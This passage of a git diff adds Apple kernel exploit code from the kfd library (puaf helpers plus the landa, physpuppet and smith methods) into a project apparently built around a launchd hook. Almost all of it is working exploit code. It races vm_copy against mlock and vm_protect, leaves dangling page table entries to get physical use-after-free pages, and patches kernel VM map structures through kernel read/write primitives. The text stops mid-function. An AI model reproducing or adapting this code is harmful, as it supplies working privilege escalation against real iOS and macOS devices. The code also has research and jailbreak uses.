puaf_helper_get_vm_map_first_and_last(u64* first_out, u64* last_out) +{ + u64 first_address = 0; + u64 last_address = 0; + + vm_address_t address = 0; + vm_size_t size = 0; + vm_region_basic_info_data_64_t data = {}; + vm_region_info_t info = (vm_region_info_t)(&data); + mach_msg_type_number_t count = VM_REGION_BASIC_INFO_COUNT_64; + mach_port_t port = MACH_PORT_NULL; + + while (true) { + kern_return_t kret = vm_region_64(mach_task_self(), &address, &size, VM_REGION_BASIC_INFO_64, info, &count, &port); + if (kret == KERN_INVALID_ADDRESS) { + last_address = address; + break; + } + + assert(kret == KERN_SUCCESS); + + if (!first_address) { + first_address = address; + } + + address += size; + size = 0; + } + + *first_out = first_address; + *last_out = last_address; +} + +void puaf_helper_get_vm_map_min_and_max(u64* min_out, u64* max_out) +{ + task_vm_info_data_t data = {}; + task_info_t info = (task_info_t)(&data); + mach_msg_type_number_t count = TASK_VM_INFO_COUNT; + assert_mach(task_info(mach_task_self(), TASK_VM_INFO, info, &count)); + + *min_out = data.min_address; + *max_out = data.max_address; +} + +void puaf_helper_give_ppl_pages(void) +{ + timer_start(); + + const u64 given_ppl_pages_max = 10000; + const u64 l2_block_size = (1ull << 25); + + vm_address_t addresses[given_ppl_pages_max] = {}; + vm_address_t address = 0; + u64 given_ppl_pages = 0; + + u64 min_address, max_address; + puaf_helper_get_vm_map_min_and_max(&min_address, &max_address); + + while (true) { + address += l2_block_size; + if (address < min_address) { + continue; + } + + if (address >= max_address) { + break; + } + + kern_return_t kret = vm_allocate(mach_task_self(), &address, pages(1), VM_FLAGS_FIXED); + if (kret == KERN_SUCCESS) { + memset((void*)(address), 'A', 1); + addresses[given_ppl_pages] = address; + if (++given_ppl_pages == given_ppl_pages_max) { + break; + } + } + } + + for (u64 i = 0; i < given_ppl_pages; i++) { + assert_mach(vm_deallocate(mach_task_self(), addresses[i], pages(1))); + } + + print_u64(given_ppl_pages); + timer_end(); +} + +#endif /* puaf_h */ diff --git a/RootHelperSample/launchdshim/launchdhook/libkfd/puaf/landa.h b/RootHelperSample/launchdshim/launchdhook/libkfd/puaf/landa.h new file mode 100644 index 00000000..e4ac39f4 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/libkfd/puaf/landa.h @@ -0,0 +1,195 @@ +/* + * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved. + */ + +#ifndef landa_h +#define landa_h + +const u64 landa_vme1_size = pages(1); +const u64 landa_vme2_size = pages(1); +const u64 landa_vme4_size = pages(1); + +// Forward declarations for helper functions. +void* landa_helper_spinner_pthread(void* arg); + +struct landa_data { + atomic_bool main_thread_returned; + atomic_bool spinner_thread_started; + vm_address_t copy_src_address; + vm_address_t copy_dst_address; + vm_size_t copy_size; +}; + +void landa_init(struct kfd* kfd) +{ + kfd->puaf.puaf_method_data_size = sizeof(struct landa_data); + kfd->puaf.puaf_method_data = malloc_bzero(kfd->puaf.puaf_method_data_size); +} + +void landa_run(struct kfd* kfd) +{ + struct landa_data* landa = (struct landa_data*)(kfd->puaf.puaf_method_data); + + /* + * Note: + * - The size of [src/dst]_vme_3 must be equal to pages(X), i.e. the desired PUAF size. + * - The copy_size must be greater than msg_ool_size_small (32 KiB), therefore it is + * sufficient for [src/dst]_vme_1 and [src/dst]_vme_2 to have a size of pages(1). + */ + u64 landa_vme3_size = pages(kfd->puaf.number_of_puaf_pages); + vm_size_t copy_size = landa_vme1_size + landa_vme2_size + landa_vme3_size; + landa->copy_size = copy_size; + + /* + * STEP 1A: + * + * Allocate the source VMEs and VMOs: + * - src_vme_1 has a size of pages(1) and owns the only reference to src_vmo_1. + * - src_vme_2 has a size of pages(1) and owns the only reference to src_vmo_2. + * - src_vme_3 has a size of pages(X) and owns the only reference to src_vmo_3. + */ + vm_address_t src_address = 0; + vm_size_t src_size = copy_size; + assert_mach(vm_allocate(mach_task_self(), &src_address, src_size, VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR)); + landa->copy_src_address = src_address; + + vm_address_t vme1_src_address = src_address; + vm_address_t vme2_src_address = vme1_src_address + landa_vme1_size; + vm_address_t vme3_src_address = vme2_src_address + landa_vme2_size; + assert_mach(vm_allocate(mach_task_self(), &vme1_src_address, landa_vme1_size, VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_FLAGS_PURGABLE)); + assert_mach(vm_allocate(mach_task_self(), &vme2_src_address, landa_vme2_size, VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_FLAGS_PURGABLE)); + assert_mach(vm_allocate(mach_task_self(), &vme3_src_address, landa_vme3_size, VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_FLAGS_PURGABLE)); + + memset((void*)(src_address), 'A', copy_size); + + /* + * STEP 1B: + * + * Allocate the destination VMEs and VMOs: + * - dst_vme_1 has a size of pages(1) and owns the only reference to dst_vmo_1. + * dst_vme_1->user_wired_count == MAX_WIRE_COUNT, because of the mlock() for-loop. + * - dst_vme_2 has a size of pages(1) and owns the only reference to dst_vmo_2. + * dst_vme_2->is_shared == TRUE, because of the vm_remap() on itself. + * dst_vme_2->user_wired_count == 1, because of mlock(). + * - After the clip in vm_protect(), dst_vme_3 has a size of pages(X) and dst_vme_4 has a size of pages(1). + * dst_vme_3 and dst_vme_4 each have a reference to dst_vmo_3. + */ + vm_address_t dst_address = 0; + vm_size_t dst_size = copy_size + landa_vme4_size; + assert_mach(vm_allocate(mach_task_self(), &dst_address, dst_size, VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR)); + landa->copy_dst_address = dst_address; + + vm_address_t vme1_dst_address = dst_address; + vm_address_t vme2_dst_address = vme1_dst_address + landa_vme1_size; + vm_address_t vme3_dst_address = vme2_dst_address + landa_vme2_size; + vm_address_t vme4_dst_address = vme3_dst_address + landa_vme3_size; + vm_prot_t cur_protection = VM_PROT_DEFAULT; + vm_prot_t max_protection = VM_PROT_ALL; + assert_mach(vm_allocate(mach_task_self(), &vme1_dst_address, landa_vme1_size, VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_FLAGS_PURGABLE)); + assert_mach(vm_allocate(mach_task_self(), &vme2_dst_address, landa_vme2_size, VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_FLAGS_PURGABLE)); + assert_mach(vm_remap(mach_task_self(), &vme2_dst_address, landa_vme2_size, 0, VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, + mach_task_self(), vme2_dst_address, FALSE, &cur_protection, &max_protection, VM_INHERIT_DEFAULT)); + assert_mach(vm_allocate(mach_task_self(), &vme3_dst_address, landa_vme3_size + landa_vme4_size, VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_FLAGS_PURGABLE)); + assert_mach(vm_protect(mach_task_self(), vme4_dst_address, landa_vme4_size, FALSE, VM_PROT_READ)); + + memset((void*)(dst_address), 'B', copy_size); + + for (u64 i = 0; i < UINT16_MAX; i++) { + assert_bsd(mlock((void*)(vme1_dst_address), landa_vme1_size)); + } + + assert_bsd(mlock((void*)(vme2_dst_address), landa_vme2_size)); + + /* + * STEP 2: + * + * Trigger the race condition between vm_copy() in the main thread and mlock() in the spinner thread. + */ + pthread_t spinner_thread = NULL; + assert_bsd(pthread_create(&spinner_thread, NULL, landa_helper_spinner_pthread, kfd)); + + while (!atomic_load(&landa->spinner_thread_started)) { + usleep(10); + } + + assert_mach(vm_copy(mach_task_self(), src_address, copy_size, dst_address)); + atomic_store(&landa->main_thread_returned, true); + assert_bsd(pthread_join(spinner_thread, NULL)); + + /* + * STEP 3: + * + * Deallocate dst_vme_4, which will in turn deallocate the last reference of dst_vmo_3. + * Therefore, dst_vmo_3 will be reaped and its pages put back on the free list. + * However, we now have a PUAF on up to X of those pages in the VA range of dst_vme_3. + */ + assert_mach(vm_deallocate(mach_task_self(), vme4_dst_address, landa_vme4_size)); + + for (u64 i = 0; i < kfd->puaf.number_of_puaf_pages; i++) { + kfd->puaf.puaf_pages_uaddr[i] = vme3_dst_address + pages(i); + } +} + +void landa_cleanup(struct kfd* kfd) +{ + struct landa_data* landa = (struct landa_data*)(kfd->puaf.puaf_method_data); + u64 kread_page_uaddr = trunc_page(kfd->kread.krkw_object_uaddr); + u64 kwrite_page_uaddr = trunc_page(kfd->kwrite.krkw_object_uaddr); + + u64 min_puaf_page_uaddr = min(kread_page_uaddr, kwrite_page_uaddr); + u64 max_puaf_page_uaddr = max(kread_page_uaddr, kwrite_page_uaddr); + + assert_mach(vm_deallocate(mach_task_self(), landa->copy_src_address, landa->copy_size)); + + vm_address_t address1 = landa->copy_dst_address; + vm_size_t size1 = min_puaf_page_uaddr - landa->copy_dst_address; + assert_mach(vm_deallocate(mach_task_self(), address1, size1)); + + vm_address_t address2 = max_puaf_page_uaddr + pages(1); + vm_size_t size2 = (landa->copy_dst_address + landa->copy_size) - address2; + assert_mach(vm_deallocate(mach_task_self(), address2, size2)); + + /* + * No middle block if the kread and kwrite pages are the same or back-to-back. + */ + if ((max_puaf_page_uaddr - min_puaf_page_uaddr) > pages(1)) { + vm_address_t address3 = min_puaf_page_uaddr + pages(1); + vm_size_t size3 = (max_puaf_page_uaddr - address3); + assert_mach(vm_deallocate(mach_task_self(), address3, size3)); + } +} + +void landa_free(struct kfd* kfd) +{ + u64 kread_page_uaddr = trunc_page(kfd->kread.krkw_object_uaddr); + u64 kwrite_page_uaddr = trunc_page(kfd->kwrite.krkw_object_uaddr); + + assert_mach(vm_deallocate(mach_task_self(), kread_page_uaddr, pages(1))); + if (kwrite_page_uaddr != kread_page_uaddr) { + assert_mach(vm_deallocate(mach_task_self(), kwrite_page_uaddr, pages(1))); + } +} + +/* + * Helper landa functions. + */ + +void* landa_helper_spinner_pthread(void* arg) +{ + struct kfd* kfd = (struct kfd*)(arg); + struct landa_data* landa = (struct landa_data*)(kfd->puaf.puaf_method_data); + + atomic_store(&landa->spinner_thread_started, true); + + while (!atomic_load(&landa->main_thread_returned)) { + kern_return_t kret = mlock((void*)(landa->copy_dst_address), landa->copy_size); + assert((kret == KERN_SUCCESS) || ((kret == (-1)) && (errno == ENOMEM))); + if (kret == KERN_SUCCESS) { + break; + } + } + + return NULL; +} + +#endif /* landa_h */ diff --git a/RootHelperSample/launchdshim/launchdhook/libkfd/puaf/physpuppet.h b/RootHelperSample/launchdshim/launchdhook/libkfd/puaf/physpuppet.h new file mode 100644 index 00000000..f481760f --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/libkfd/puaf/physpuppet.h @@ -0,0 +1,117 @@ +/* + * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved. + */ + +#ifndef physpuppet_h +#define physpuppet_h + +const u64 physpuppet_vmne_size = pages(2) + 1; +const u64 physpuppet_vme_offset = pages(1); +const u64 physpuppet_vme_size = pages(2); + +void physpuppet_init(struct kfd* kfd) +{ + /* + * Nothing to do. + */ + return; +} + +void physpuppet_run(struct kfd* kfd) +{ + for (u64 i = 0; i < kfd->puaf.number_of_puaf_pages; i++) { + /* + * STEP 1: + * + * Create a vm_named_entry. It will be backed by a vm_object with a + * vo_size of 3 pages and an initial ref_count of 1. + */ + mach_port_t named_entry = MACH_PORT_NULL; + assert_mach(mach_memory_object_memory_entry_64(mach_host_self(), true, physpuppet_vmne_size, VM_PROT_DEFAULT, MEMORY_OBJECT_NULL, &named_entry)); + + /* + * STEP 2: + * + * Map the vm_named_entry into our vm_map. This will create a + * vm_map_entry with a vme_start that is page-aligned, but a vme_end + * that is not (vme_end = vme_start + 1 page + 1 byte). The new + * vm_map_entry's vme_object is shared with the vm_named_entry, and + * therefore its ref_count goes up to 2. Finally, the new vm_map_entry's + * vme_offset is 1 page. + */ + vm_address_t address = 0; + assert_mach(vm_map(mach_task_self(), &address, (-1), 0, VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR, named_entry, physpuppet_vme_offset, false, VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_DEFAULT)); + + /* + * STEP 3: + * + * Fault in both pages covered by the vm_map_entry. This will populate + * the second and third vm_pages (by vmp_offset) of the vm_object. Most + * importantly, this will set the two L3 PTEs covered by that virtual + * address range with read and write permissions. + */ + memset((void*)(address), 'A', physpuppet_vme_size); + + /* + * STEP 4: + * + * Unmap that virtual address range. Crucially, when vm_map_delete() + * calls pmap_remove_options(), only the first L3 PTE gets cleared. The + * vm_map_entry is deallocated and therefore the vm_object's ref_count + * goes down to 1. + */ + assert_mach(vm_deallocate(mach_task_self(), address, physpuppet_vme_size)); + + /* + * STEP 5: + * + * Destroy the vm_named_entry. The vm_object's ref_count drops to 0 and + * therefore is reaped. This will put all of its vm_pages on the free + * list without calling pmap_disconnect(). + */ + assert_mach(mach_port_deallocate(mach_task_self(), named_entry)); + kfd->puaf.puaf_pages_uaddr[i] = address + physpuppet_vme_offset; + + /* + * STEP 6: + * + * At this point, we have a dangling L3 PTE. However, there's a + * discrepancy between the vm_map and the pmap. If not fixed, it will + * cause a panic when the process exits. Therefore, we need to reinsert + * a vm_map_entry in that virtual address range. We also need to fault + * in the first page to populate the vm_object. Otherwise, + * vm_map_delete() won't call pmap_remove_options() on exit. But we + * don't fault in the second page to avoid overwriting our dangling PTE. + */ + assert_mach(vm_allocate(mach_task_self(), &address, physpuppet_vme_size, VM_FLAGS_FIXED)); + memset((void*)(address), 'A', physpuppet_vme_offset); + } +} + +void physpuppet_cleanup(struct kfd* kfd) +{ + u64 kread_page_uaddr = trunc_page(kfd->kread.krkw_object_uaddr); + u64 kwrite_page_uaddr = trunc_page(kfd->kwrite.krkw_object_uaddr); + + for (u64 i = 0; i < kfd->puaf.number_of_puaf_pages; i++) { + u64 puaf_page_uaddr = kfd->puaf.puaf_pages_uaddr[i]; + if ((puaf_page_uaddr == kread_page_uaddr) || (puaf_page_uaddr == kwrite_page_uaddr)) { + continue; + } + + assert_mach(vm_deallocate(mach_task_self(), puaf_page_uaddr - physpuppet_vme_offset, physpuppet_vme_size)); + } +} + +void physpuppet_free(struct kfd* kfd) +{ + u64 kread_page_uaddr = trunc_page(kfd->kread.krkw_object_uaddr); + u64 kwrite_page_uaddr = trunc_page(kfd->kwrite.krkw_object_uaddr); + + assert_mach(vm_deallocate(mach_task_self(), kread_page_uaddr - physpuppet_vme_offset, physpuppet_vme_size)); + if (kwrite_page_uaddr != kread_page_uaddr) { + assert_mach(vm_deallocate(mach_task_self(), kwrite_page_uaddr - physpuppet_vme_offset, physpuppet_vme_size)); + } +} + +#endif /* physpuppet_h */ diff --git a/RootHelperSample/launchdshim/launchdhook/libkfd/puaf/smith.h b/RootHelperSample/launchdshim/launchdhook/libkfd/puaf/smith.h new file mode 100644 index 00000000..4691f467 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/libkfd/puaf/smith.h @@ -0,0 +1,607 @@ +/* + * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved. + */ + +#ifndef smith_h +#define smith_h + +/* + * This boolean parameter determines whether the vm_map_lock() is taken from + * another thread before attempting to clean up the VM map in the main thread. + */ +const bool take_vm_map_lock = true; + +// Forward declarations for helper functions. +void smith_helper_init(struct kfd* kfd); +void* smith_helper_spinner_pthread(void* arg); +void* smith_helper_cleanup_pthread(void* arg); +void smith_helper_cleanup(struct kfd* kfd); + +/* + * This structure is allocated once in smith_init() and contains all the data + * needed/shared across multiple functions for the PUAF part of the exploit. + */ +struct smith_data { + atomic_bool main_thread_returned; + atomic_int started_spinner_pthreads; + struct { + vm_address_t address; + vm_size_t size; + } vme[5]; + struct { + pthread_t pthread; + atomic_bool should_start; + atomic_bool did_start; + atomic_uintptr_t kaddr; + atomic_uintptr_t right; + atomic_uintptr_t max_address; + } cleanup_vme; +}; + +/* + * This function is responsible for the following: + * 1. Allocate the singleton "smith_data" structure. See the comment above the + * smith_data structure for more info. + * 2. Call smith_helper_init() which is responsible to initialize everything + * needed for the PUAF part of the exploit. See the comment above + * smith_helper_init() for more info. + */ +void smith_init(struct kfd* kfd) +{ + kfd->puaf.puaf_method_data_size = sizeof(struct smith_data); + kfd->puaf.puaf_method_data = malloc_bzero(kfd->puaf.puaf_method_data_size); + + smith_helper_init(kfd); +} + +/* + * This function is responsible to run the bulk of the work, from triggering the + * initial vulnerability to achieving a PUAF on an arbitrary number of pages. + * It is described in detail in the write-up, with a figure illustrating the + * relevant kernel state after each step. + */ +void smith_run(struct kfd* kfd) +{ + struct smith_data* smith = (struct smith_data*)(kfd->puaf.puaf_method_data); + + /* + * STEP 1: + */ + assert_mach(vm_allocate(mach_task_self(), &smith->vme[2].address, smith->vme[2].size, VM_FLAGS_FIXED)); + assert_mach(vm_allocate(mach_task_self(), &smith->vme[1].address, smith->vme[1].size, VM_FLAGS_FIXED)); + assert_mach(vm_allocate(mach_task_self(), &smith->vme[0].address, smith->vme[0].size, VM_FLAGS_FIXED)); + assert_mach(vm_allocate(mach_task_self(), &smith->vme[3].address, smith->vme[3].size, VM_FLAGS_FIXED | VM_FLAGS_PURGABLE)); + assert_mach(vm_allocate(mach_task_self(), &smith->vme[4].address, smith->vme[4].size, VM_FLAGS_FIXED | VM_FLAGS_PURGABLE)); + + /* + * STEP 2: + * + * Note that vm_copy() in the main thread corresponds to substep 2A in the write-up + * and vm_protect() in the spawned threads corresponds to substep 2B. + */ + const u64 number_of_spinner_pthreads = 4; + pthread_t spinner_pthreads[number_of_spinner_pthreads] = {}; + + for (u64 i = 0; i < number_of_spinner_pthreads; i++) { + assert_bsd(pthread_create(&spinner_pthreads[i], NULL, smith_helper_spinner_pthread, kfd)); + } + + while (atomic_load(&smith->started_spinner_pthreads) != number_of_spinner_pthreads) { + usleep(10); + } + + assert(vm_copy(mach_task_self(), smith->vme[2].address, (0ull - smith->vme[2].address - 1), 0) == KERN_PROTECTION_FAILURE); + atomic_store(&smith->main_thread_returned, true); + + for (u64 i = 0; i < number_of_spinner_pthreads; i++) { + /* + * I am not sure if joining the spinner threads here will cause the + * deallocation of their stack in the VM map. I have never ran into + * panics because of this, but it is something to keep in mind. + * Otherwise, if it becomes a problem, we can simply make those spinner + * threads sleep in a loop until the main thread sends them a signal + * that the cleanup is finished. + */ + assert_bsd(pthread_join(spinner_pthreads[i], NULL)); + } + + /* + * STEP 3: + */ + assert_mach(vm_copy(mach_task_self(), smith->vme[3].address, smith->vme[3].size, smith->vme[1].address)); + memset((void*)(smith->vme[1].address), 'A', smith->vme[1].size); + + /* + * STEP 4: + */ + assert_mach(vm_protect(mach_task_self(), smith->vme[1].address, smith->vme[3].size, false, VM_PROT_DEFAULT)); + + /* + * STEP 5: + */ + assert_mach(vm_copy(mach_task_self(), smith->vme[4].address, smith->vme[4].size, smith->vme[0].address)); + + for (u64 i = 0; i < kfd->puaf.number_of_puaf_pages; i++) { + kfd->puaf.puaf_pages_uaddr[i] = smith->vme[1].address + pages(i); + } +} + +/* + * This function is responsible for the following: + * 1. Call smith_helper_cleanup() which is responsible to patch up the corrupted + * state of our VM map. Technically, this is the only thing that is required + * to get back to a safe state, which means there is no more risk of a kernel + * panic if the process exits or performs any VM operation. + * 2. Deallocate the unused virtual memory that we allocated in step 1 of + * smith_run(). In other words, we call vm_deallocate() for the VA range + * covered by those 5 map entries (i.e. vme0 to vme4 in the write-up), except + * for the two pages used by the kread/kwrite primitive. This step is not + * required for "panic-safety". + */ +void smith_cleanup(struct kfd* kfd) +{ + smith_helper_cleanup(kfd); + + struct smith_data* smith = (struct smith_data*)(kfd->puaf.puaf_method_data); + u64 kread_page_uaddr = trunc_page(kfd->kread.krkw_object_uaddr); + u64 kwrite_page_uaddr = trunc_page(kfd->kwrite.krkw_object_uaddr); + + u64 min_puaf_page_uaddr = min(kread_page_uaddr, kwrite_page_uaddr); + u64 max_puaf_page_uaddr = max(kread_page_uaddr, kwrite_page_uaddr); + + vm_address_t address1 = smith->vme[0].address; + vm_size_t size1 = smith->vme[0].size + (min_puaf_page_uaddr - smith->vme[1].address); + assert_mach(vm_deallocate(mach_task_self(), address1, size1)); + + vm_address_t address2 = max_puaf_page_uaddr + pages(1); + vm_size_t size2 = (smith->vme[2].address - address2) + smith->vme[2].size + smith->vme[3].size + smith->vme[4].size; + assert_mach(vm_deallocate(mach_task_self(), address2, size2)); + + /* + * No middle block if the kread and kwrite pages are the same or back-to-back. + */ + if ((max_puaf_page_uaddr - min_puaf_page_uaddr) > pages(1)) { + vm_address_t address3 = min_puaf_page_uaddr + pages(1); + vm_size_t size3 = (max_puaf_page_uaddr - address3); + assert_mach(vm_deallocate(mach_task_self(), address3, size3)); + } +} + +/* + * This function is responsible to deallocate the virtual memory for the two + * pages used by the kread/kwrite primitive, i.e. the two pages that we did not + * deallocate during smith_cleanup(). Once again, this step is not required for + * "panic-safety". It can be called either if the kread/kwrite primitives no + * longer rely on kernel objects that are controlled through the PUAF primitive, + * or if we want to completely tear down the exploit. + */ +void smith_free(struct kfd* kfd) +{ + u64 kread_page_uaddr = trunc_page(kfd->kread.krkw_object_uaddr); + u64 kwrite_page_uaddr = trunc_page(kfd->kwrite.krkw_object_uaddr); + + assert_mach(vm_deallocate(mach_task_self(), kread_page_uaddr, pages(1))); + if (kwrite_page_uaddr != kread_page_uaddr) { + assert_mach(vm_deallocate(mach_task_self(), kwrite_page_uaddr, pages(1))); + } +} + +/* + * This function is responsible for the following: + * 1. If the constant "target_hole_size" is non-zero, it will allocate every + * hole in our VM map starting at its min_offset, until we find a hole at + * least as big as that value (e.g. 10k pages). The reason for that is that + * we will corrupt the hole list when we trigger the vulnerability in + * smith_run(), such that only the first hole is safe to allocate from. This + * is exactly what happens during a typical call to vm_allocate() with + * VM_FLAGS_ANYWHERE. That said, many other VM operations that modify our map + * entries or our hole list could cause a kernel panic. So, if it is possible + * at all, it is much safer to suspend all other threads running in the target + * process (e.g. WebContent). In that case, since we would control the only + * running threads during the critical section, we could guarantee that no + * unsafe VM operations will happen and "target_hole_size" can be set to 0. + * 2. We need to find the VA range from which we will allocate our 5 map entries + * in smith_run() during step 1 (i.e. vme0 to vme4 in the write-up). Those 5 + * map entries will cover (3X+5) pages, where X is the desired number of + * PUAF pages. For reasons that are explained in the write-up, we want to + * allocate them towards the end of our VM map. Therefore, we find the last + * hole that is big enough to hold our 5 map entries. + */ +void smith_helper_init(struct kfd* kfd) +{ + const u64 target_hole_size = pages(0); + bool found_target_hole = false; + + struct smith_data* smith = (struct smith_data*)(kfd->puaf.puaf_method_data); + smith->vme[0].size = pages(1); + smith->vme[1].size = pages(kfd->puaf.number_of_puaf_pages); + smith->vme[2].size = pages(1); + smith->vme[3].size = (smith->vme[1].size + smith->vme[2].size); + smith->vme[4].size = (smith->vme[0].size + smith->vme[3].size); + u64 smith_total_size = (smith->vme[3].size + smith->vme[4].size + smith->vme[4].size); + + u64 min_address, max_address; + puaf_helper_get_vm_map_min_and_max(&min_address, &max_address); + + /* + * If the boolean parameter "take_vm_map_lock" is turned on, we spawn the + * thread running smith_helper_cleanup_pthread() right here. Please see the + * comment above smith_helper_cleanup_pthread() for more info. + */ + if (take_vm_map_lock) { + atomic_store(&smith->cleanup_vme.max_address, max_address); + assert_bsd(pthread_create(&smith->cleanup_vme.pthread, NULL, smith_helper_cleanup_pthread, kfd)); + } + + vm_address_t address = 0; + vm_size_t size = 0; + vm_region_basic_info_data_64_t data = {}; + vm_region_info_t info = (vm_region_info_t)(&data); + mach_msg_type_number_t count = VM_REGION_BASIC_INFO_COUNT_64; + mach_port_t port = MACH_PORT_NULL; + + vm_address_t vme0_address = 0; + vm_address_t prev_vme_end = 0; + + while (true) { + kern_return_t kret = vm_region_64(mach_task_self(), &address, &size, VM_REGION_BASIC_INFO_64, info, &count, &port); + if ((kret == KERN_INVALID_ADDRESS) || (address >= max_address)) { + if (found_target_hole) { + vm_size_t last_hole_size = max_address - prev_vme_end; + /* + * If "target_hole_size" is zero, we could instead simply set + * "vme0_address" to (map->max_offset - smith_total_size), + * after making sure that this VA range is not already mapped. + */ + if (last_hole_size >= (smith_total_size + pages(1))) { + vme0_address = (max_address - smith_total_size); + } + } + + break; + } + + assert(kret == KERN_SUCCESS); + + /* + * Quick hack: pre-fault code pages to avoid faults during the critical section. + */ + if (data.protection & VM_PROT_EXECUTE) { + for (u64 page_address = address; page_address < address + size; page_address += pages(1)) { + u64 tmp_value = *(volatile u64*)(page_address); + } + } + + vm_address_t hole_address = prev_vme_end; + vm_size_t hole_size = address - prev_vme_end; + + if (prev_vme_end < min_address) { + goto next_vm_region; + } + + if (found_target_hole) { + if (hole_size >= (smith_total_size + pages(1))) { + vme0_address = (address - smith_total_size); + } + } else { + if (hole_size >= target_hole_size) { + found_target_hole = true; + } else if (hole_size > 0) { + assert_mach(vm_allocate(mach_task_self(), &hole_address, hole_size, VM_FLAGS_FIXED)); + } + } + +next_vm_region: + address += size; + size = 0; + prev_vme_end = address; + } + + assert(found_target_hole); + + smith->vme[0].address = vme0_address; + smith->vme[1].address = smith->vme[0].address + smith->vme[0].size; + smith->vme[2].address = smith->vme[1].address + smith->vme[1].size; + smith->vme[3].address = smith->vme[2].address + smith->vme[2].size; + smith->vme[4].address = smith->vme[3].address + smith->vme[3].size; +} + +/* + * This function is ran by 4 spinner threads spawned from smith_run() in step 2. + * It simply attempts to change the protection of virtual page zero to + * VM_PROT_WRITE in a busy-loop, which will return KERN_INVALID_ADDRESS until + * the main thread triggers the bad clip in vm_map_copyin_internal(). At that + * point, vm_protect() will return KERN_SUCCESS. Finally, once the main thread + * returns from vm_copy(), it will set "main_thread_returned" to true in order + * to signal all 4 spinner threads to exit. + */ +void* smith_helper_spinner_pthread(void* arg) +{ + struct kfd* kfd = (struct kfd*)(arg); + struct smith_data* smith = (struct smith_data*)(kfd->puaf.puaf_method_data); + + atomic_fetch_add(&smith->started_spinner_pthreads, 1); + + while (!atomic_load(&smith->main_thread_returned)) { + kern_return_t kret = vm_protect(mach_task_self(), 0, pages(1), false, VM_PROT_WRITE); + assert((kret == KERN_SUCCESS) || (kret == KERN_INVALID_ADDRESS)); + } + + return NULL; +} + +#define store_for_vme(kaddr) ((kaddr) ? (((kaddr) + offsetof(struct vm_map_entry, store.entry.rbe_left))) : (kaddr)) +#define vme_for_store(kaddr) ((kaddr) ? (((kaddr) - offsetof(struct vm_map_entry, store.entry.rbe_left)) & (~1ull)) : (kaddr)) + +/* + * This function is only ran from a thread spawned in smith_helper_init() if the + * boolean parameter "take_vm_map_lock" is turned on. The reason why it is + * spawned that early, instead of at the beginning of smith_helper_cleanup(), is + * that pthread creation will allocate virtual memory for its stack, which might + * cause a kernel panic because we have not patched the corrupted VM map state + * yet. It sleeps for 1 ms in a loop until the main thread sets + * "cleanup_vme.should_start" to true to signal this thread to start the + * procedure to take the vm_map_lock(). It does so by patching the right child + * of a map entry to point back to itself, then it sets "cleanup_vme.did_start" + * to true to signal the main thread to start patching the state, and finally it + * calls vm_protect(), which will take the vm_map_lock() indefinitely while + * vm_map_lookup_entry() spins on the right child. Once the main thread has + * finished patching up the state, it will restore the right child to its + * original value, which will cause vm_protect() to return and this pthread to + * exit. + */ +void* smith_helper_cleanup_pthread(void* arg) +{ + struct kfd* kfd = (struct kfd*)(arg); + struct smith_data* smith = (struct smith_data*)(kfd->puaf.puaf_method_data); + vm_address_t max_address = atomic_load(&smith->cleanup_vme.max_address); + vm_address_t cleanup_vme_end = 0; + + while (!atomic_load(&smith->cleanup_vme.should_start)) { + usleep(1000); + } + + do { + /* + * Find the last entry with vme_end smaller than the map's max_offset, + * with a right child that is not null, but not the entry we are going to leak. + */ + u64 map_kaddr = kfd->info.kaddr.current_map; + u64 entry_kaddr = static_kget(struct _vm_map, hdr.links.prev, map_kaddr); + + while (true) { + u64 entry_prev = static_kget(struct vm_map_entry, links.prev, entry_kaddr); + u64 entry_start = static_kget(struct vm_map_entry, links.start, entry_kaddr); + u64 entry_end = static_kget(struct vm_map_entry, links.end, entry_kaddr); + u64 entry_right = static_kget(struct vm_map_entry, store.entry.rbe_right, entry_kaddr); + + if ((entry_end < max_address) && (entry_right != 0) && (entry_start != 0)) { + /* + * Patch the entry to have its right child point to itself. + */ + atomic_store(&smith->cleanup_vme.kaddr, entry_kaddr); + atomic_store(&smith->cleanup_vme.right, entry_right); + static_kset(struct vm_map_entry, store.entry.rbe_right, store_for_vme(entry_kaddr), entry_kaddr); + cleanup_vme_end = entry_end; + break; + } + + entry_kaddr = entry_prev; + } + } while (0); + + atomic_store(&smith->cleanup_vme.did_start, true); + vm_protect(mach_task_self(), cleanup_vme_end, pages(1), false, VM_PROT_ALL); + return NULL; +} + +/* + * This function is responsible to patch the corrupted state of our VM map. If + * the boolean parameter "take_vm_map_lock" is turned on, please see the comment + * above smith_helper_cleanup_pthread() for more info. Otherwise, the rest of + * the function simply uses the kread primitive to scan the doubly-linked list + * of map entries as well as the hole list, and the kwrite primitive to patch it + * up. This procedure is explained in detail in part C of the write-up. + */ +void smith_helper_cleanup(struct kfd* kfd) +{ + assert(kfd->info.kaddr.current_map); + struct smith_data* smith = (struct smith_data*)(kfd->puaf.puaf_method_data); + + if (take_vm_map_lock) { + atomic_store(&smith->cleanup_vme.should_start, true); + while (!atomic_load(&smith->cleanup_vme.did_start)) { + usleep(10); + } + + /* + * Sleep an extra 100 us to make sure smith_helper_cleanup_pthread() + * had the time to take the vm_map_lock(). + */ + usleep(100); + } + + u64 map_kaddr = kfd->info.kaddr.current_map; + + do { + /* + * Scan map entries: we use the kread primitive to loop through every + * map entries in our VM map, and record the information that we need to + * patch things up below. There are some assertions along the way to + * make sure the state of the VM map is corrupted as expected. + */ + u64 entry_count = 0; + u64 entry_kaddr = static_kget(struct _vm_map, hdr.links.next, map_kaddr); + u64 map_entry_kaddr = map_kaddr + offsetof(struct _vm_map, hdr.links.prev); + u64 first_vme_kaddr = 